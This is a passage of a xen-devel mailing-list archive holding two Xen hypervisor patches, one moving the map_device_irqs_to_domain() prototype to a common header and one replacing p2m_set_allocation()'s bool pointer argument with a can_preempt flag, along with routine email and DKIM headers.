         NhHFmyg7QWuNsfIBwC7qFcLMixSACZHYzE7GwRxjTNOgkKofB+aXhuKt8PiM+GSVMASF
         vjc66TrVUQsaHYrM6EQx7BWtlJkAQPpYWRdFlI9amuE/8eweSlqej24HyV08uRTEm73x
         4t8Ed0+d+/Wz/hrFygKYdYV1ZRpP0LgJE/FfBTp4KYKUseIbBHaV6tTEoTcsN/wZCK7W
         tKmB9qnr6LON+jAUslW1TEGJI3pcsL+915khuupxt9udKdyKx72crpCF58fAWbnpqkk8
         1xYg==
X-Gm-Message-State: AOJu0Yz2SW9hePh/Rz2SAwYf+bjifSJWWx+BGGtktfiCH8+3XSqeR5tZ
	pOAL7T/dS0FQKV6F6lil1euU9chJT9OzBP3fjc83nXf9fIsq2G45N/iT44qqwA==
X-Gm-Gg: AfdE7cnMl7cs9iuMF08ec+u/4llN67hTgo9pJjRFKxmAP1Ga4CJiuRywN6rRjT3mV9M
	wZUU93Lt+/haMQYxv44ojc7mnL6vDzfAz22WQU4pCt0gcZAhtcJbbLzZBZQSbXHzywEZMm1NBGX
	/8o8q4SZ8MjlV3pAtZ1BZOn7YovpYLlZYNAHPqVwW5brfhZldI/RIt0usKQnvy//10qSTiZ+fWv
	2CiIyu88NfBAmEoUTTktmqRQNApetBzvroS84EMAdnsw5BbyTa89/Z/uFEW7QDaoEIt94GOS4Dr
	OwzhpCiZCSkezELHRffZj8mHdaG2sZCB7albf5d5Tt8/wH2uhnA8CYHZ2uYpK3Hi1PPKNyUjYie
	BaQAUAtWo21XTBxJCnUg/8+AgjnA/Zsk3K3vDbJMNUb+uQWlzPN4novdHSog/pUW/Rwtw8NA6IT
	hJhl2miJTrTVuG/6nqIQh3Ej4BrZM8/DtFN8TFmir0frJEwz/fBeapHIL1bw==
X-Received: by 2002:a05:600c:3acd:b0:493:a5f9:d33d with SMTP id 5b1f17b1804b1-493df08feb3mr11711955e9.18.1783353501067;
        Mon, 06 Jul 2026 08:58:21 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
Subject: [PATCH v5 02/26] xen: arm: move declaration of map_device_irqs_to_domain() to common header
Date: Mon,  6 Jul 2026 17:57:43 +0200
Message-ID: <0854d614acf81c6d237a280349bd75832889ab91.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1783353501-2F15F1CC-2C95EE76/10/73395122804
X-purgate-type: spam
X-purgate-size: 3776

As map_device_irqs_to_domain() is used unconditionally by common part of
dom0less code, move the prototype to a common header.

fdt-domain-build.h is chosen as map_device_irqs_to_domain() could be
also called indirectly in Arm's DOM0-related code and DT overlay feature.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Reviewed-by: Michal Orzel <michal.orzel@amd.com>
---
Changes in v5:
 - Add Reviewed-by: Michal Orzel <michal.orzel@amd.com>
---
Changes in v4:
 - Reword commit message: use imperative mood ("move the prototype") and
   mention the DT overlay feature alongside Arm's DOM0-related code.
 - Add #include <xen/fdt-domain-build.h> to Arm's device.c so the definition
   site sees the prototype.
 - Drop the duplicated function description above the definition in device.c
   (it now lives only on the prototype in fdt-domain-build.h).
---
Changes in v3:
 - Add tag arm and move this patch earlier before RISC-V-related patches.
---
Changes in v2:
 - New patch.
---
---
 xen/arch/arm/device.c              |  9 +--------
 xen/arch/arm/include/asm/setup.h   |  3 ---
 xen/include/xen/fdt-domain-build.h | 13 +++++++++++++
 3 files changed, 14 insertions(+), 11 deletions(-)

diff --git a/xen/arch/arm/device.c b/xen/arch/arm/device.c
index 7d9644fd8b6d..b11366d722ef 100644
--- a/xen/arch/arm/device.c
+++ b/xen/arch/arm/device.c
@@ -11,6 +11,7 @@
 #include <xen/device_tree.h>
 #include <xen/dt-overlay.h>
 #include <xen/errno.h>
+#include <xen/fdt-domain-build.h>
 #include <xen/iocap.h>
 #include <xen/lib.h>
 
@@ -117,14 +118,6 @@ int __overlay_init map_range_to_domain(const struct dt_device_node *dev,
     return 0;
 }
 
-/*
- * map_device_irqs_to_domain retrieves the interrupts configuration from
- * a device tree node and maps those interrupts to the target domain.
- *
- * Returns:
- *   < 0 error
- *   0   success
- */
 int __overlay_init map_device_irqs_to_domain(struct domain *d,
                                              struct dt_device_node *dev,
                                              bool need_mapping,
diff --git a/xen/arch/arm/include/asm/setup.h b/xen/arch/arm/include/asm/setup.h
index 14fa92d5c1db..2af780512540 100644
--- a/xen/arch/arm/include/asm/setup.h
+++ b/xen/arch/arm/include/asm/setup.h
@@ -51,9 +51,6 @@ void init_traps(void);
 int handle_device(struct domain *d, struct dt_device_node *dev, p2m_type_t p2mt,
                   struct rangeset *iomem_ranges, struct rangeset *irq_ranges);
 
-int map_device_irqs_to_domain(struct domain *d, struct dt_device_node *dev,
-                              bool need_mapping, struct rangeset *irq_ranges);
-
 int map_irq_to_domain(struct domain *d, unsigned int irq,
                       bool need_mapping, const char *devname);
 
diff --git a/xen/include/xen/fdt-domain-build.h b/xen/include/xen/fdt-domain-build.h
index 671486c1c837..8612e98dfda5 100644
--- a/xen/include/xen/fdt-domain-build.h
+++ b/xen/include/xen/fdt-domain-build.h
@@ -12,6 +12,7 @@
 
 struct domain;
 struct page_info;
+struct rangeset;
 struct membanks;
 
 typedef bool (*alloc_domheap_mem_cb)(struct domain *d, struct page_info *pg,
@@ -79,6 +80,18 @@ static inline void set_domain_type(struct domain *d, const struct kernel_info *k
 #endif
 }
 
+/*
+ * Retrieves the interrupts configuration from a device tree node and maps
+ * those interrupts to the target domain.
+ *
+ * Returns:
+ *   < 0 error
+ *   0   success
+ */
+int map_device_irqs_to_domain(struct domain *d, struct dt_device_node *dev,
+                              bool need_mapping,
+                              struct rangeset *irq_ranges);
+
 #endif /* __XEN_FDT_DOMAIN_BUILD_H__ */
 
 /*
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355487.1610293 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliD-00078G-Ty; Mon, 06 Jul 2026 15:58:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355487.1610293; Mon, 06 Jul 2026 15:58:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliD-000784-Ph; Mon, 06 Jul 2026 15:58:25 +0000
Received: by outflank-mailman (input) for mailman id 1355487;
 Mon, 06 Jul 2026 15:58:24 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliC-0006vR-9K
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliB-003COz-Mc
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:23 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd09f-2eae-0a2a0a5409dd-0a2a450ce8e8-6
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:23 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd09f-f399-0a2a450c0019-d1558032d4fe-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:23 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-493b691cb44so22993935e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:23 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.21
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:21 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353503; x=1783958303; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=sS+W4tqZwutZWWwcjeWai30+FMlUlIOZS6B2+B7csNw=;
        b=DrFd63rQ9QYGteiEvhbKFjs6rya25oGiGWy8KWNoaxtxSSmOxWvu/0UuqKKg50xw5A
         F42z75iNwCRLIm4g3Z0DKXz+8fC/ZYT8H921z4TBWyO+bWRIFmwQTM7AK9u3Tjc7j7h8
         3YHBJ/aySiMjb5jZ+iB1/ezryHV5uXBWcbb4Bf63WdUo8ujD2P+atGFFu3p67eidp6bc
         /X6nZ4E4HpjUD0sJz3MVO2l8cDrHxcbI08Pce3VzKjHIAYlh4Y5060/tV/7nlAhpjcac
         i8FQhFyjy1jRsDfga76cqMfccRJcUZStunRF+jJz2VAOCx+onnYKs2IMmcrkgbmoPJBq
         q31Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353503; x=1783958303;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=sS+W4tqZwutZWWwcjeWai30+FMlUlIOZS6B2+B7csNw=;
        b=QWWBANkkKoYBvIP6nshf+NmeLqZV4jNZFa2Bf2cviY9TOsAk4NA3nLLrkhOui5lUwi
         zMtZDsYimzL3/lwJj0i419nUzEwkefmpH0ySHGu5/ODlF6/MwMrvryEMO2qLRsVRnE/G
         LePp2gKgqrppqQk1VCnRQyn5Jr/UZZzSFdGmAdOrZ3b+RrzelZ5s3p6CXEnDbM3uN2/o
         s19IFSlgQTlJXKaIi+GSJBGJp46jx4CEsidFraURIZIIiQEbfzCKRU1BLEi5KT6PjosK
         N2APDP9iAm9VqlrsS+oieAiqaFf38+LSLqjUCGEwEUHskqYMaezKslw6SAK/+kTy7x8e
         FSvg==
X-Gm-Message-State: AOJu0YypCgH/BOIZOFO7HYc2AmlA4PvtbaL7TTA8wPHSyal3I6PYm9ib
	OHa08sQIbvQw2oBd/0hHkg/YWnge1QfBYJ+7pkLXdNaCx85yn9ENBnLjJ0XqYA==
X-Gm-Gg: AfdE7ckyA6YVJPXzDiS1hXIkJGj8yW2b+RU+djN92xcKMwxhWQ90ZGCMkBxB7iuymEG
	fLkJkGgjVzhvzRcJVnVYsJbeDMvJat5XUfwgyXaUS6uVop/uGwlEvCLcO67YyOmtejj85BdPTzA
	Z9pCEL6K+ko45qy5MY8kdmzmHTQkl7VNRF5bD1xBnDxXzpoZXqCbNa7SbS6TK2aBYL3T4tVoYQ8
	707VlQzikoTZRtWdK5GBKa0jlErUSavUDJY5LtXc2BeHbGHzOZmljf5SDOPJPgLGha/oT3/XWxf
	VbeMIi8t8pHnToJQOP1QcrOqymcQMvLQq1EcfJld4LGBGPUeCgNdJbhb4R4kYyIF9y6TT/GiiSC
	l6XsSGzgWRP+BCBqGC/pa7DN6JMiQ2dlWRgiYIz+Is9wDFP+ZfIrIJiphCMbbL4v2XGN61giui1
	PelqMLvsDXcFr0yDd0Ca4Elz3cGJ+xarOUZZPgvmTvn7Zo6jdpPEqhf4kKLe8/L/Tu21lw
X-Received: by 2002:a05:600c:3b05:b0:493:bb45:d54d with SMTP id 5b1f17b1804b1-493df09e3a9mr13736335e9.37.1783353502372;
        Mon, 06 Jul 2026 08:58:22 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>
Subject: [PATCH v5 03/26] xen: arm: update p2m_set_allocation() prototype
Date: Mon,  6 Jul 2026 17:57:44 +0200
Message-ID: <c20193fefc23bc5a048ae29881040669237f62bd.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1783353503-91924D51-EF473D15/10/73395122804
X-purgate-type: spam
X-purgate-size: 8891

p2m_set_allocation() uses a bool *preempted out-argument that overloads two
meanings. When non-NULL, the value written back (true) duplicates information
already carried by the -ERESTART return code â€” pure redundancy, which the
caller-side ASSERT(preempted == (rc == -ERESTART)) only documents. Separately,
a NULL pointer is an implicit calling convention meaning "preemption is not
permitted in this context".

Replace the pointer with a plain bool can_preempt that explicitly controls
whether the preemption check runs, making the NULL-to-suppress convention
type-safe and self-documenting, and rely on the -ERESTART return code alone to
report that preemption occurred.

Since p2m_set_allocation() is called by the common dom0less build code,
move its declaration from the ARM-specific asm/p2m.h to xen/p2m-common.h.

Reported-by: Jan Beulich <jbeulich@suse.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Reviewed-by: Michal Orzel <michal.orzel@amd.com>
---
Changes in v5:
 - Add Reviewed-by: Michal Orzel <michal.orzel@amd.com>
---
Changes in v4:
 - Reword commit message: a NULL pointer was a calling convention meaning
   "preemption not permitted", not pure redundancy.
 - Annotate the explicit can_preempt arguments at the call sites with
   /* can_preempt */ comments for readability.
 - Move the function's doc comment to the prototype in xen/p2m-common.h
   (dropping the duplicate above the Arm and RISC-V definitions) and clarify
   that -ERESTART is only returned when can_preempt is true.
 - Add __must_check to the prototype, since the return code is now the only
   preemption-status indicator.
---
Changes in v3:
 - Nothing changed. Only rebase.
---
Changes in v2:
 - new patch
---
---
 xen/arch/arm/include/asm/p2m.h          |  1 -
 xen/arch/arm/mmu/p2m.c                  | 24 ++++++------------------
 xen/arch/riscv/include/asm/paging.h     |  2 +-
 xen/arch/riscv/p2m.c                    |  9 ++-------
 xen/arch/riscv/paging.c                 |  7 ++-----
 xen/common/device-tree/dom0less-build.c |  2 +-
 xen/include/xen/p2m-common.h            |  8 ++++++++
 7 files changed, 20 insertions(+), 33 deletions(-)

diff --git a/xen/arch/arm/include/asm/p2m.h b/xen/arch/arm/include/asm/p2m.h
index 4a4913716bdd..737da60dcf58 100644
--- a/xen/arch/arm/include/asm/p2m.h
+++ b/xen/arch/arm/include/asm/p2m.h
@@ -238,7 +238,6 @@ void p2m_restore_state(struct vcpu *n);
 /* Print debugging/statistial info about a domain's p2m */
 void p2m_dump_info(struct domain *d);
 
-int p2m_set_allocation(struct domain *d, unsigned long pages, bool *preempted);
 int p2m_teardown_allocation(struct domain *d);
 
 static inline void p2m_write_lock(struct p2m_domain *p2m)
diff --git a/xen/arch/arm/mmu/p2m.c b/xen/arch/arm/mmu/p2m.c
index 51abf3504fcf..2cf35d8a3709 100644
--- a/xen/arch/arm/mmu/p2m.c
+++ b/xen/arch/arm/mmu/p2m.c
@@ -65,12 +65,7 @@ int arch_get_paging_mempool_size(struct domain *d, uint64_t *size)
     return 0;
 }
 
-/*
- * Set the pool of pages to the required number of pages.
- * Returns 0 for success, non-zero for failure.
- * Call with d->arch.paging.lock held.
- */
-int p2m_set_allocation(struct domain *d, unsigned long pages, bool *preempted)
+int p2m_set_allocation(struct domain *d, unsigned long pages, bool can_preempt)
 {
     struct page_info *pg;
 
@@ -112,11 +107,8 @@ int p2m_set_allocation(struct domain *d, unsigned long pages, bool *preempted)
             break;
 
         /* Check to see if we need to yield and try again */
-        if ( preempted && general_preempt_check() )
-        {
-            *preempted = true;
+        if ( can_preempt && general_preempt_check() )
             return -ERESTART;
-        }
     }
 
     return 0;
@@ -125,7 +117,6 @@ int p2m_set_allocation(struct domain *d, unsigned long pages, bool *preempted)
 int arch_set_paging_mempool_size(struct domain *d, uint64_t size)
 {
     unsigned long pages = size >> PAGE_SHIFT;
-    bool preempted = false;
     int rc;
 
     if ( (size & ~PAGE_MASK) ||          /* Non page-sized request? */
@@ -133,27 +124,24 @@ int arch_set_paging_mempool_size(struct domain *d, uint64_t size)
         return -EINVAL;
 
     spin_lock(&d->arch.paging.lock);
-    rc = p2m_set_allocation(d, pages, &preempted);
+    rc = p2m_set_allocation(d, pages, /* can_preempt */ true);
     spin_unlock(&d->arch.paging.lock);
 
-    ASSERT(preempted == (rc == -ERESTART));
-
     return rc;
 }
 
 int p2m_teardown_allocation(struct domain *d)
 {
     int ret = 0;
-    bool preempted = false;
 
     spin_lock(&d->arch.paging.lock);
     if ( d->arch.paging.p2m_total_pages != 0 )
     {
-        ret = p2m_set_allocation(d, 0, &preempted);
-        if ( preempted )
+        ret = p2m_set_allocation(d, 0, /* can_preempt */ true);
+        if ( ret == -ERESTART )
         {
             spin_unlock(&d->arch.paging.lock);
-            return -ERESTART;
+            return ret;
         }
         ASSERT(d->arch.paging.p2m_total_pages == 0);
     }
diff --git a/xen/arch/riscv/include/asm/paging.h b/xen/arch/riscv/include/asm/paging.h
index e487c89a4ccd..103384723dc5 100644
--- a/xen/arch/riscv/include/asm/paging.h
+++ b/xen/arch/riscv/include/asm/paging.h
@@ -9,7 +9,7 @@ struct page_info;
 int paging_domain_init(struct domain *d);
 
 int paging_freelist_adjust(struct domain *d, unsigned long pages,
-                           bool *preempted);
+                           bool can_preempt);
 
 int paging_ret_to_domheap(struct domain *d, unsigned int nr_pages);
 int paging_refill_from_domheap(struct domain *d, unsigned int nr_pages);
diff --git a/xen/arch/riscv/p2m.c b/xen/arch/riscv/p2m.c
index 703b9f4d2540..566266e3e78f 100644
--- a/xen/arch/riscv/p2m.c
+++ b/xen/arch/riscv/p2m.c
@@ -428,17 +428,12 @@ int p2m_init(struct domain *d, const struct xen_domctl_createdomain *config)
     return 0;
 }
 
-/*
- * Set the pool of pages to the required number of pages.
- * Returns 0 for success, non-zero for failure.
- * Call with d->arch.paging.lock held.
- */
-int p2m_set_allocation(struct domain *d, unsigned long pages, bool *preempted)
+int p2m_set_allocation(struct domain *d, unsigned long pages, bool can_preempt)
 {
     struct p2m_domain *p2m = p2m_get_hostp2m(d);
     int rc;
 
-    if ( (rc = paging_freelist_adjust(d, pages, preempted)) )
+    if ( (rc = paging_freelist_adjust(d, pages, can_preempt)) )
         return rc;
 
     /*
diff --git a/xen/arch/riscv/paging.c b/xen/arch/riscv/paging.c
index 76a203edbb0c..35f572689a7c 100644
--- a/xen/arch/riscv/paging.c
+++ b/xen/arch/riscv/paging.c
@@ -47,7 +47,7 @@ static int _paging_add_to_freelist(struct domain *d)
 }
 
 int paging_freelist_adjust(struct domain *d, unsigned long pages,
-                           bool *preempted)
+                           bool can_preempt)
 {
     ASSERT(spin_is_locked(&d->arch.paging.lock));
 
@@ -66,11 +66,8 @@ int paging_freelist_adjust(struct domain *d, unsigned long pages,
             return rc;
 
         /* Check to see if we need to yield and try again */
-        if ( preempted && general_preempt_check() )
-        {
-            *preempted = true;
+        if ( can_preempt && general_preempt_check() )
             return -ERESTART;
-        }
     }
 
     return 0;
diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tree/dom0less-build.c
index eacfd93087ae..6f0b574755c5 100644
--- a/xen/common/device-tree/dom0less-build.c
+++ b/xen/common/device-tree/dom0less-build.c
@@ -747,7 +747,7 @@ static int __init domain_p2m_set_allocation(struct domain *d, uint64_t mem,
                 domain_p2m_pages(mem, d->max_vcpus);
 
     spin_lock(&d->arch.paging.lock);
-    rc = p2m_set_allocation(d, p2m_pages, NULL);
+    rc = p2m_set_allocation(d, p2m_pages, /* can_preempt */ false);
     spin_unlock(&d->arch.paging.lock);
 
     return rc;
diff --git a/xen/include/xen/p2m-common.h b/xen/include/xen/p2m-common.h
index f0bd9a6b9896..0eb061991283 100644
--- a/xen/include/xen/p2m-common.h
+++ b/xen/include/xen/p2m-common.h
@@ -43,5 +43,13 @@ int __must_check check_get_page_from_gfn(struct domain *d, gfn_t gfn,
                                          bool readonly, p2m_type_t *p2mt_p,
                                          struct page_info **page_p);
 
+/*
+ * Set the pool of pages to the required number of pages.
+ * Returns 0 for success, -ERESTART if preempted (only when can_preempt is
+ * true), or a negative error code on failure.
+ * Call with d->arch.paging.lock held.
+ */
+int __must_check p2m_set_allocation(struct domain *d, unsigned long pages,
+                                    bool can_preempt);
 
 #endif /* _XEN_P2M_COMMON_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355489.1610297 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliE-0007Bm-BH; Mon, 06 Jul 2026 15:58:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355489.1610297; Mon, 06 Jul 2026 15:58:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgliE-0007As-2M; Mon, 06 Jul 2026 15:58:26 +0000
Received: by outflank-mailman (input) for mailman id 1355489;
 Mon, 06 Jul 2026 15:58:25 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliD-00075S-07
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliC-003COz-DE
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:24 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd092-2eae-0a2a0a5409dd-0a2a4502b80a-22
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:24 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0a0-5a27-0a2a45020019-d1558029cd01-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:24 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-493c55d5c7aso31169935e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:24 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.22
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353504; x=1783958304; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=UaNFNH9DRDfcOheNP7RGDgs9zgSwZrJZXL9nPPgLQm0=;
        b=kOSVRxzUlbhWSMCWuFpo0O9m7oqOtFASB7zb9f/fa/HNKSm373R3nvZ7etVgqZhsaA
         YwoVNVW4+EZ9p1GhvkngzQH4CdE8xG4w4KmAi1vnrlBLf1Jkm8GA9xx+kIQRid+CC9jj
         5q8sc3tccSy/dabsDuSMYwUKB2VevXsHJPvDXzjVO1vhpyIuzi9jGE4Lr/ziwDvHOSQ2
         MXgTAUi66kkFszTi1jhLVUjzN9iMc4SooFmbRk4IokQn864g0b6rxIk13O7lHio5u1ah
         hQYen24ZylC7OfMVdzghDmvp4JXDL04L9eDg9rohD141JaRX8KcIPJJLLlme/o72MJuL
         /nOw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353504; x=1783958304;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=UaNFNH9DRDfcOheNP7RGDgs9zgSwZrJZXL9nPPgLQm0=;
        b=mWX17722e3dcMcvchVSW1OUxyXXe9fWyV0ZbSP96D9niIh+y/pbe2Zt4bXZeAcNpaD
         OW2WwNSC+9J+pb05GaU8Fj5Vf3obdHvz+dMr6oCmL7p2rq5II5fJvz+pKWhfMkvWoE1S
         zOyW1HV8fKlPu/7GZvCO9Iz/CHfhrMmWKMy4NMyqjZfOS23qh66OiGdP1gC/yd6RBNxk
         GAY+4LdpWcpu3hDBsNheUo6jfcPzmlsAFSamOU4elmVUr6CYCbfbMfPngOB4eG2FsHQE
         2ENO8qPpdiOnhZ1e4kwVkc7p5bSAAAonuuCdO9QdYG8Rljg5GAfS/ro5Axln05nyB3V1
         ZfDg==
X-Gm-Message-State: AOJu0YxqiefhKsNbPbyZuBAszWy2qyOHQmlm+VowDxwhErkOyZMU6zKX
	oCmwdbuqH8HFTrWGtQ7/l82fi+oLxojG8h2nw3+0DykeByhj1IuxmV3pCsmPUA==
X-Gm-Gg: AfdE7cneY3fsBfWJegmFYPKhJUse72/GeJMbfnrRr1PuaQOmmHZsYWTkNU16AjdE+Aq
	cJbY+dVqFKz7gfObo3jSSi4zPn65wAw9MnFBL9jBtc7RjhJp4F9XIRPJJxMjfDJtVv4ubyGovc3
	YIh4J/xG6TjaDeDnSWth34TrsHi1I/on08ChWxB5Wf4YABbq0X1Ms67VjV6KByyvXaauNBF0cKv
	vWnh09ZpleMK+LLtnqIFm2Oh4KJffgGgqorlC0naxSCpOJtc9KNN/i3UO6+KfcEbIVtZHpMFSLQ
